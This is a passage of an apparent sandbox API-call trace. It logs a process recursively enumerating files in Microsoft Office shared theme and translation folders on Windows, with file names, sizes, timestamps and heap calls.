ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0170.350] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0170.350] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.350] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.350] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.350] GetProcessHeap () returned 0x6a0000 [0170.350] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.350] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0170.350] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0170.350] GetProcessHeap () returned 0x6a0000 [0170.350] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.355] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.355] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.355] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.355] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0170.355] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0170.355] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0170.355] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.355] GetProcessHeap () returned 0x6a0000 [0170.356] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.356] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0170.356] GetProcessHeap () returned 0x6a0000 [0170.356] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.356] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.356] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.356] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.356] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0170.356] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0170.356] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0170.356] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.356] GetProcessHeap () returned 0x6a0000 [0170.356] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.356] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0170.357] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.357] GetProcessHeap () returned 0x6a0000 [0170.357] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.357] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0170.357] GetProcessHeap () returned 0x6a0000 [0170.357] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0170.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.362] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.362] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0170.362] GetProcessHeap () returned 0x6a0000 [0170.362] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.362] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.365] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.365] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0170.365] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0170.365] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.365] GetProcessHeap () returned 0x6a0000 [0170.365] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.365] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0170.365] GetProcessHeap () returned 0x6a0000 [0170.365] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.367] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.367] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0170.367] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0170.367] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.367] GetProcessHeap () returned 0x6a0000 [0170.367] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.367] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0170.368] GetProcessHeap () returned 0x6a0000 [0170.368] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.368] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.368] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0170.368] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0170.368] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.368] GetProcessHeap () returned 0x6a0000 [0170.368] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.368] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0170.368] GetProcessHeap () returned 0x6a0000 [0170.368] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 